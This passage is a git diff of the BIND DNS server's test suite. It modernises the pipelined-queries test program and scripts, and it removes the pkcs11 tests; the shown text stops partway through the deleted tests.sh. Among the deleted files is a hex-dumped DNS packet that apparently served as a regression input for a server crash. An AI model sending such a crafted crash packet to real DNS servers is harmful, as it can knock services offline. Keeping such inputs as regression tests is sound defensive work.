diff --git a/bin/tests/system/pipelined/ns2/examplea.db b/bin/tests/system/pipelined/ns2/examplea.db
index 3522d46eb9..1be2d116b4 100644
--- a/bin/tests/system/pipelined/ns2/examplea.db
+++ b/bin/tests/system/pipelined/ns2/examplea.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/pipelined/ns2/named.conf.in b/bin/tests/system/pipelined/ns2/named.conf.in
index 9727ca9052..3679e97b12 100644
--- a/bin/tests/system/pipelined/ns2/named.conf.in
+++ b/bin/tests/system/pipelined/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,7 +26,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/pipelined/ns3/exampleb.db b/bin/tests/system/pipelined/ns3/exampleb.db
index 98a61f0517..91b94c37b0 100644
--- a/bin/tests/system/pipelined/ns3/exampleb.db
+++ b/bin/tests/system/pipelined/ns3/exampleb.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/pipelined/ns3/named.conf.in b/bin/tests/system/pipelined/ns3/named.conf.in
index 0bee9dc576..d8943d5b63 100644
--- a/bin/tests/system/pipelined/ns3/named.conf.in
+++ b/bin/tests/system/pipelined/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,7 +26,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/pipelined/ns4/named.conf.in b/bin/tests/system/pipelined/ns4/named.conf.in
index 14cdc4f73b..e7d07e99e3 100644
--- a/bin/tests/system/pipelined/ns4/named.conf.in
+++ b/bin/tests/system/pipelined/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,7 +20,6 @@ options {
 	pid-file "named.pid";
 	listen-on { 10.53.0.4; };
 	listen-on-v6 { none; };
-	keep-response-order { 10.53.0.7/32; };
 	recursion yes;
 	dnssec-validation yes;
 	notify yes;
@@ -26,7 +27,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/pipelined/pipequeries.c b/bin/tests/system/pipelined/pipequeries.c
index 51546bf7ad..bfe0c1b84a 100644
--- a/bin/tests/system/pipelined/pipequeries.c
+++ b/bin/tests/system/pipelined/pipequeries.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,37 +17,30 @@
 #include <string.h>
 #include <unistd.h>
 
-#include <isc/app.h>
 #include <isc/base64.h>
 #include <isc/commandline.h>
 #include <isc/hash.h>
 #include <isc/log.h>
+#include <isc/loop.h>
 #include <isc/managers.h>
 #include <isc/mem.h>
 #include <isc/net.h>
+#include <isc/netmgr.h>
 #include <isc/parseint.h>
-#include <isc/platform.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/sockaddr.h>
-#include <isc/socket.h>
-#include <isc/task.h>
-#include <isc/timer.h>
 #include <isc/util.h>
 
 #include <dns/dispatch.h>
-#include <dns/events.h>
 #include <dns/fixedname.h>
 #include <dns/message.h>
 #include <dns/name.h>
 #include <dns/rdataset.h>
 #include <dns/request.h>
-#include <dns/resolver.h>
 #include <dns/result.h>
 #include <dns/types.h>
 #include <dns/view.h>
 
-#include <dst/result.h>
-
 #define CHECK(str, x)                                        \
 	{                                                    \
 		if ((x) != ISC_R_SUCCESS) {                  \
@@ -60,42 +55,38 @@
 #define PORT	5300
 #define TIMEOUT 30
 
-static isc_mem_t *mctx;
-static dns_requestmgr_t *requestmgr;
+static isc_mem_t *mctx = NULL;
+static dns_requestmgr_t *requestmgr = NULL;
+static isc_loopmgr_t *loopmgr = NULL;
 static bool have_src = false;
 static isc_sockaddr_t srcaddr;
 static isc_sockaddr_t dstaddr;
 static int onfly;
 
 static void
-recvresponse(isc_task_t *task, isc_event_t *event) {
-	dns_requestevent_t *reqev = (dns_requestevent_t *)event;
+recvresponse(void *arg) {
 	isc_result_t result;
-	dns_message_t *query, *response;
+	dns_request_t *request = (dns_request_t *)arg;
+	dns_message_t *query = dns_request_getarg(request);
+	dns_message_t *response = NULL;
 	isc_buffer_t outbuf;
 	char output[1024];
 
-	UNUSED(task);
-
-	REQUIRE(reqev != NULL);
-
-	if (reqev->result != ISC_R_SUCCESS) {
+	result = dns_request_getresult(request);
+	if (result != ISC_R_SUCCESS) {
 		fprintf(stderr, "I:request event result: %s\n",
-			isc_result_totext(reqev->result));
+			isc_result_totext(result));
 		exit(-1);
 	}
 
-	query = reqev->ev_arg;
-
-	response = NULL;
 	dns_message_create(mctx, DNS_MESSAGE_INTENTPARSE, &response);
 
-	result = dns_request_getresponse(reqev->request, response,
+	result = dns_request_getresponse(request, response,
 					 DNS_MESSAGEPARSE_PRESERVEORDER);
 	CHECK("dns_request_getresponse", result);
 
 	if (response->rcode != dns_rcode_noerror) {
-		result = ISC_RESULTCLASS_DNSRCODE + response->rcode;
+		result = dns_result_fromrcode(response->rcode);
 		fprintf(stderr, "I:response rcode: %s\n",
 			isc_result_totext(result));
 		exit(-1);
@@ -116,21 +107,20 @@ recvresponse(isc_task_t *task, isc_event_t *event) {
 
 	dns_message_detach(&query);
 	dns_message_detach(&response);
-	dns_request_destroy(&reqev->request);
-	isc_event_free(&event);
+	dns_request_destroy(&request);
 
 	if (--onfly == 0) {
-		isc_app_shutdown();
+		isc_loopmgr_shutdown(loopmgr);
 	}
 	return;
 }
 
 static isc_result_t
-sendquery(isc_task_t *task) {
-	dns_request_t *request;
-	dns_message_t *message;
-	dns_name_t *qname;
-	dns_rdataset_t *qrdataset;
+sendquery(void) {
+	dns_request_t *request = NULL;
+	dns_message_t *message = NULL;
+	dns_name_t *qname = NULL;
+	dns_rdataset_t *qrdataset = NULL;
 	isc_result_t result;
 	dns_fixedname_t queryname;
 	isc_buffer_t buf;
@@ -151,7 +141,6 @@ sendquery(isc_task_t *task) {
 				   dns_rootname, 0, NULL);
 	CHECK("dns_name_fromtext", result);
 
-	message = NULL;
 	dns_message_create(mctx, DNS_MESSAGE_INTENTRENDER, &message);
 
 	message->opcode = dns_opcode_query;
@@ -159,13 +148,9 @@ sendquery(isc_task_t *task) {
 	message->rdclass = dns_rdataclass_in;
 	message->id = (unsigned short)(random() & 0xFFFF);
 
-	qname = NULL;
-	result = dns_message_gettempname(message, &qname);
-	CHECK("dns_message_gettempname", result);
+	dns_message_gettempname(message, &qname);
 
-	qrdataset = NULL;
-	result = dns_message_gettemprdataset(message, &qrdataset);
-	CHECK("dns_message_gettemprdataset", result);
+	dns_message_gettemprdataset(message, &qrdataset);
 
 	dns_name_clone(dns_fixedname_name(&queryname), qname);
 	dns_rdataset_makequestion(qrdataset, dns_rdataclass_in,
@@ -173,53 +158,71 @@ sendquery(isc_task_t *task) {
 	ISC_LIST_APPEND(qname->list, qrdataset, link);
 	dns_message_addname(message, qname, DNS_SECTION_QUESTION);
 
-	request = NULL;
-	result = dns_request_createvia(
-		requestmgr, message, have_src ? &srcaddr : NULL, &dstaddr, -1,
-		DNS_REQUESTOPT_TCP | DNS_REQUESTOPT_SHARE, NULL, TIMEOUT, 0, 0,
-		task, recvresponse, message, &request);
+	result = dns_request_create(
+		requestmgr, message, have_src ? &srcaddr : NULL, &dstaddr, NULL,
+		NULL, DNS_REQUESTOPT_TCP, NULL, TIMEOUT, 0, 0,
+		isc_loop_main(loopmgr), recvresponse, message, &request);
 	CHECK("dns_request_create", result);
 
 	return (ISC_R_SUCCESS);
 }
 
 static void
-sendqueries(isc_task_t *task, isc_event_t *event) {
+sendqueries(void *arg) {
 	isc_result_t result;
 
-	isc_event_free(&event);
+	UNUSED(arg);
 
 	do {
-		result = sendquery(task);
+		result = sendquery();
 	} while (result == ISC_R_SUCCESS);
 
 	if (onfly == 0) {
-		isc_app_shutdown();
+		isc_loopmgr_shutdown(loopmgr);
 	}
 	return;
 }
 
+static void
+teardown_view(void *arg) {
+	dns_view_t *view = arg;
+	dns_view_detach(&view);
+}
+
+static void
+teardown_requestmgr(void *arg) {
+	dns_requestmgr_t *mgr = arg;
+
+	dns_requestmgr_shutdown(mgr);
+	dns_requestmgr_detach(&mgr);
+}
+
+static void
+teardown_dispatchv4(void *arg) {
+	dns_dispatch_t *dispatchv4 = arg;
+	dns_dispatch_detach(&dispatchv4);
+}
+
+static void
+teardown_dispatchmgr(void *arg) {
+	dns_dispatchmgr_t *dispatchmgr = arg;
+	dns_dispatchmgr_detach(&dispatchmgr);
+}
+
 int
 main(int argc, char *argv[]) {
 	isc_sockaddr_t bind_any;
 	struct in_addr inaddr;
 	isc_result_t result;
-	isc_log_t *lctx;
-	isc_logconfig_t *lcfg;
+	isc_log_t *lctx = NULL;
+	isc_logconfig_t *lcfg = NULL;
 	isc_nm_t *netmgr = NULL;
-	isc_taskmgr_t *taskmgr = NULL;
-	isc_task_t *task = NULL;
-	isc_timermgr_t *timermgr = NULL;
-	isc_socketmgr_t *socketmgr = NULL;
 	dns_dispatchmgr_t *dispatchmgr = NULL;
-	unsigned int attrs, attrmask;
-	dns_dispatch_t *dispatchv4;
-	dns_view_t *view;
+	dns_dispatch_t *dispatchv4 = NULL;
+	dns_view_t *view = NULL;
 	uint16_t port = PORT;
 	int c;
 
-	RUNCHECK(isc_app_start());
-
 	isc_commandline_errprint = false;
 	while ((c = isc_commandline_parse(argc, argv, "p:r:")) != -1) {
 		switch (c) {
@@ -252,8 +255,6 @@ main(int argc, char *argv[]) {
 		have_src = true;
 	}
 
-	dns_result_register();
-
 	isc_sockaddr_any(&bind_any);
 
 	result = ISC_R_FAILURE;
@@ -268,61 +269,34 @@ main(int argc, char *argv[]) {
 	}
 	isc_sockaddr_fromin(&dstaddr, &inaddr, port);
 
-	mctx = NULL;
-	isc_mem_create(&mctx);
+	isc_managers_create(&mctx, 1, &loopmgr, &netmgr);
 
-	lctx = NULL;
-	lcfg = NULL;
 	isc_log_create(mctx, &lctx, &lcfg);
 
 	RUNCHECK(dst_lib_init(mctx, NULL));
 
-	isc_managers_create(mctx, 1, 0, 0, &netmgr, &taskmgr, &timermgr,
-			    &socketmgr);
-
-	RUNCHECK(isc_task_create(taskmgr, 0, &task));
-	RUNCHECK(dns_dispatchmgr_create(mctx, &dispatchmgr));
+	RUNCHECK(dns_dispatchmgr_create(mctx, netmgr, &dispatchmgr));
 
-	attrs = DNS_DISPATCHATTR_UDP | DNS_DISPATCHATTR_MAKEQUERY |
-		DNS_DISPATCHATTR_IPV4;
-	attrmask = DNS_DISPATCHATTR_UDP | DNS_DISPATCHATTR_TCP |
-		   DNS_DISPATCHATTR_IPV4 | DNS_DISPATCHATTR_IPV6;
-	dispatchv4 = NULL;
-	RUNCHECK(dns_dispatch_getudp(dispatchmgr, socketmgr, taskmgr,
-				     have_src ? &srcaddr : &bind_any, 4096, 4,
-				     2, 3, 5, attrs, attrmask, &dispatchv4));
-	requestmgr = NULL;
-	RUNCHECK(dns_requestmgr_create(mctx, timermgr, socketmgr, taskmgr,
-				       dispatchmgr, dispatchv4, NULL,
-				       &requestmgr));
+	RUNCHECK(dns_dispatch_createudp(
+		dispatchmgr, have_src ? &srcaddr : &bind_any, &dispatchv4));
+	RUNCHECK(dns_requestmgr_create(mctx, loopmgr, dispatchmgr, dispatchv4,
+				       NULL, &requestmgr));
 
-	view = NULL;
-	RUNCHECK(dns_view_create(mctx, 0, "_test", &view));
+	RUNCHECK(dns_view_create(mctx, NULL, 0, "_test", &view));
 
-	RUNCHECK(isc_app_onrun(mctx, task, sendqueries, NULL));
+	isc_loopmgr_setup(loopmgr, sendqueries, NULL);
+	isc_loopmgr_teardown(loopmgr, teardown_view, view);
+	isc_loopmgr_teardown(loopmgr, teardown_requestmgr, requestmgr);
+	isc_loopmgr_teardown(loopmgr, teardown_dispatchv4, dispatchv4);
+	isc_loopmgr_teardown(loopmgr, teardown_dispatchmgr, dispatchmgr);
 
-	(void)isc_app_run();
-
-	dns_view_detach(&view);
-
-	dns_requestmgr_shutdown(requestmgr);
-	dns_requestmgr_detach(&requestmgr);
-
-	dns_dispatch_detach(&dispatchv4);
-	dns_dispatchmgr_destroy(&dispatchmgr);
-
-	isc_task_shutdown(task);
-	isc_task_detach(&task);
-
-	isc_managers_destroy(&netmgr, &taskmgr, &timermgr, &socketmgr);
+	isc_loopmgr_run(loopmgr);
 
 	dst_lib_destroy();
 
 	isc_log_destroy(&lctx);
 
-	isc_mem_destroy(&mctx);
-
-	isc_app_finish();
+	isc_managers_destroy(&mctx, &loopmgr, &netmgr);
 
 	return (0);
 }
diff --git a/bin/tests/system/pipelined/setup.sh b/bin/tests/system/pipelined/setup.sh
index c5d8b3b8b2..49a642683d 100644
--- a/bin/tests/system/pipelined/setup.sh
+++ b/bin/tests/system/pipelined/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/pipelined/tests.sh b/bin/tests/system/pipelined/tests.sh
index ffd3e20f2a..0fc513ba97 100644
--- a/bin/tests/system/pipelined/tests.sh
+++ b/bin/tests/system/pipelined/tests.sh
@@ -1,78 +1,75 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
-MDIGOPTS="-p ${PORT}"
-RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
+mdig_with_opts() {
+	"$MDIG" -p "${PORT}" "${@}"
+}
 
-status=0
+rndccmd() {
+	"$RNDC" -c ../common/rndc.conf -p "${CONTROLPORT}" -s "${@}"
+}
 
-echo_i "check pipelined TCP queries"
-ret=0
-$PIPEQUERIES -p ${PORT} < input > raw || ret=1
-awk '{ print $1 " " $5 }' < raw > output
-sort < output > output-sorted
-$DIFF ref output-sorted || { ret=1 ; echo_i "diff sorted failed"; }
-$DIFF ref output > /dev/null && { ret=1 ; echo_i "diff out of order failed"; }
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+pipequeries() {
+	"$PIPEQUERIES" -p "${PORT}"
+}
 
-echo_i "check pipelined TCP queries using mdig"
+status=0
+n=1
 ret=0
-$RNDCCMD 10.53.0.4 flush
-sleep 1
-$MDIG $MDIGOPTS +noall +answer +vc -f input -b 10.53.0.4 @10.53.0.4 > raw.mdig
-awk '{ print $1 " " $5 }' < raw.mdig > output.mdig
-sort < output.mdig > output-sorted.mdig
-$DIFF ref output-sorted.mdig || { ret=1 ; echo_i "diff sorted failed"; }
-$DIFF ref output.mdig > /dev/null && { ret=1 ; echo_i "diff out of order failed"; }
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
 
-echo_i "check keep-response-order"
-ret=0
-$RNDCCMD 10.53.0.4 flush
-sleep 1
-$PIPEQUERIES -p ${PORT} ++ < inputb > rawb || ret=1
-awk '{ print $1 " " $5 }' < rawb > outputb
-$DIFF refb outputb || ret=1
+echo_i "check pipelined TCP queries ($n)"
+pipequeries < input > raw.$n || ret=1
+awk '{ print $1 " " $5 }' < raw.$n > output.$n
+sort < output.$n > output-sorted.$n
+diff ref output-sorted.$n || { ret=1 ; echo_i "diff sorted failed"; }
+diff ref output.$n > /dev/null && { ret=1 ; echo_i "diff out of order failed"; }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "check keep-response-order using mdig"
+status=$((status+ret))
+n=$((n+1))
 ret=0
-$RNDCCMD 10.53.0.4 flush
-sleep 1
-$MDIG $MDIGOPTS +noall +answer +vc -f inputb -b 10.53.0.7 @10.53.0.4 > rawb.mdig
-awk '{ print $1 " " $5 }' < rawb.mdig > outputb.mdig
-$DIFF refb outputb.mdig || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
 
-echo_i "check mdig -4 -6"
-ret=0
-$RNDCCMD 10.53.0.4 flush
-sleep 1
-$MDIG $MDIGOPTS -4 -6 -f input @10.53.0.4 > output46.mdig 2>&1 && ret=1
-grep "only one of -4 and -6 allowed" output46.mdig > /dev/null || ret=1
+echo_i "check pipelined TCP queries using mdig ($n)"
+rndccmd 10.53.0.4 flush
+wait_for_log 10 "flushing caches in all views succeeded" ns4/named.run
+mdig_with_opts +noall +answer +vc -f input -b 10.53.0.4 @10.53.0.4 > raw.mdig.$n
+awk '{ print $1 " " $5 }' < raw.mdig.$n > output.mdig.$n
+sort < output.mdig.$n > output-sorted.mdig.$n
+diff ref output-sorted.mdig.$n || { ret=1 ; echo_i "diff sorted failed"; }
+diff ref output.mdig.$n > /dev/null && { ret=1 ; echo_i "diff out of order failed"; }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
+n=$((n+1))
+ret=0
 
-echo_i "check mdig -4 with an IPv6 server address"
+echo_i "check mdig -4 -6 ($n)"
+mdig_with_opts -4 -6 -f input @10.53.0.4 > output.mdig.$n 2>&1 && ret=1
+grep "only one of -4 and -6 allowed" output.mdig.$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+n=$((n+1))
 ret=0
-$MDIG $MDIGOPTS -4 -f input @fd92:7065:b8e:ffff::2 > output4.mdig 2>&1 && ret=1
-grep "address family not supported" output4.mdig > /dev/null || ret=1
+
+echo_i "check mdig -4 with an IPv6 server address ($n)"
+mdig_with_opts -4 -f input @fd92:7065:b8e:ffff::2 > output.mdig.$n 2>&1 && ret=1
+grep "address family not supported" output.mdig.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
+n=$((n+1))
+ret=0
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/pipelined/tests_sh_pipelined.py b/bin/tests/system/pipelined/tests_sh_pipelined.py
new file mode 100644
index 0000000000..2d7fb928ee
--- /dev/null
+++ b/bin/tests/system/pipelined/tests_sh_pipelined.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_pipelined(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/pkcs11/2037-pk11_numbits-crash-test.pkt b/bin/tests/system/pkcs11/2037-pk11_numbits-crash-test.pkt
deleted file mode 100644
index 09b06f0739..0000000000
--- a/bin/tests/system/pkcs11/2037-pk11_numbits-crash-test.pkt
+++ /dev/null
@@ -1,20 +0,0 @@
-edda 2800 0001 0000 0001 0000 0972 7361
-7368 6132 3536 0765 7861 6d70 6c65 0000
-0600 01c0 0c00 3000 0100 0001 2c01 0801
-0003 0803 0100 0100 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 0000 0000 0000 0000 0000
-0000 0000 0000 00
diff --git a/bin/tests/system/pkcs11/clean.sh b/bin/tests/system/pkcs11/clean.sh
deleted file mode 100644
index 23c5a6f857..0000000000
--- a/bin/tests/system/pkcs11/clean.sh
+++ /dev/null
@@ -1,19 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-set -e
-
-rm -f K* ns1/K* keyset-* dsset-* ns1/*.db ns1/*.signed ns1/*.jnl
-rm -f dig.out* pin upd.log* upd.cmd* pkcs11-list.out*
-rm -f ns1/*.ksk ns1/*.zsk ns1/named.memstats
-rm -f supported
-rm -f ns*/named.run ns*/named.lock ns*/named.conf
-rm -f ns*/managed-keys.bind*
diff --git a/bin/tests/system/pkcs11/ns1/example.db.in b/bin/tests/system/pkcs11/ns1/example.db.in
deleted file mode 100644
index 95d2a63a54..0000000000
--- a/bin/tests/system/pkcs11/ns1/example.db.in
+++ /dev/null
@@ -1,22 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	ns root (
-				2000082401 ; serial
-				1800       ; refresh (30 minutes)
-				1800       ; retry (30 minutes)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns
-ns			A	10.53.0.1
-
-txt			TXT	"recursed"
-
diff --git a/bin/tests/system/pkcs11/ns1/named.conf.in b/bin/tests/system/pkcs11/ns1/named.conf.in
deleted file mode 100644
index a4a51b357c..0000000000
--- a/bin/tests/system/pkcs11/ns1/named.conf.in
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-controls { /* empty */ };
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	dnssec-validation no;
-	notify no;
-};
-
-key rndc_key {
-	secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
-
-controls {
-	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
diff --git a/bin/tests/system/pkcs11/setup.sh b/bin/tests/system/pkcs11/setup.sh
deleted file mode 100644
index ce364d9636..0000000000
--- a/bin/tests/system/pkcs11/setup.sh
+++ /dev/null
@@ -1,91 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-set -eu
-
-# shellcheck source=conf.sh
-. ../conf.sh
-
-echo_i "Generating keys for Native PKCS#11" >&2
-
-infile=ns1/example.db.in
-
-printf '%s' "${HSMPIN:-1234}" > pin
-PWD=$(pwd)
-
-copy_setports ns1/named.conf.in ns1/named.conf
-
-get_random() {
-    dd if=/dev/urandom bs=1 count=2 2>/dev/null | od -tu2 -An
-}
-
-genpkcs() (
-    alg="$1"
-    bits="$2"
-    label="$3"
-    id="$(get_random)"
-
-    $PK11DEL -l "$label" -w0 >/dev/null || true
-    $PK11GEN -a "$alg" -b "$bits" -l "$label" -i "$id" >/dev/null
-)
-
-keyfrlab() (
-    alg="$1"
-    bits="$2"
-    label="$3"
-    zone="$4"
-    shift 4
-
-    $KEYFRLAB -a "$alg" -l "pkcs11:object=$label;pin-source=$PWD/pin" "$@" "$zone"
-)
-
-genzsk() (
-    genpkcs "$@"
-    keyfrlab "$@"
-)
-
-genksk() (
-    genpkcs "$@"
-    keyfrlab "$@" -f ksk
-)
-
-algs=
-for algbits in rsasha256:2048 rsasha512:2048 ecdsap256sha256:256 ecdsap384sha384:384 ed25519:256 ed448:456; do
-    alg=$(echo "$algbits" | cut -f 1 -d :)
-    bits=$(echo "$algbits" | cut -f 2 -d :)
-    zone="$alg.example"
-    zonefile="ns1/$alg.example.db"
-    if $SHELL ../testcrypto.sh "$alg"; then
-	echo "$alg" >> supported
-	algs="$algs$alg "
-
-	zsk1=$(genzsk "$alg" "$bits" "pkcs11-$alg-zsk1" "$zone")
-	zsk2=$(genzsk "$alg" "$bits" "pkcs11-$alg-zsk2" "$zone")
-	ksk1=$(genksk "$alg" "$bits" "pkcs11-$alg-ksk1" "$zone")
-	ksk2=$(genksk "$alg" "$bits" "pkcs11-$alg-ksk2" "$zone")
-
-	cat "$infile" "$zsk1.key" "$ksk1.key" > "$zonefile"
-	$SIGNER -a -P -g -o "$zone" "$zonefile" > /dev/null
-	cp "$zsk2.key" "ns1/$alg.zsk"
-	cp "$ksk2.key" "ns1/$alg.ksk"
-	mv "K$alg"* ns1/
-
-	cat >> ns1/named.conf <<EOF
-zone "$alg.example." {
-	type primary;
-	file "$alg.example.db.signed";
-	allow-update { any; };
-};
-
-EOF
-    fi
-done
-echo_i "Generated keys for Native PKCS#11: $algs"
diff --git a/bin/tests/system/pkcs11/tests.sh b/bin/tests/system/pkcs11/tests.sh
deleted file mode 100644
index d8952955b9..0000000000
--- a/bin/tests/system/pkcs11/tests.sh
+++ /dev/null
@@ -1,146 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-set -e
-
-# shellcheck source=conf.sh
-. ../conf.sh
-
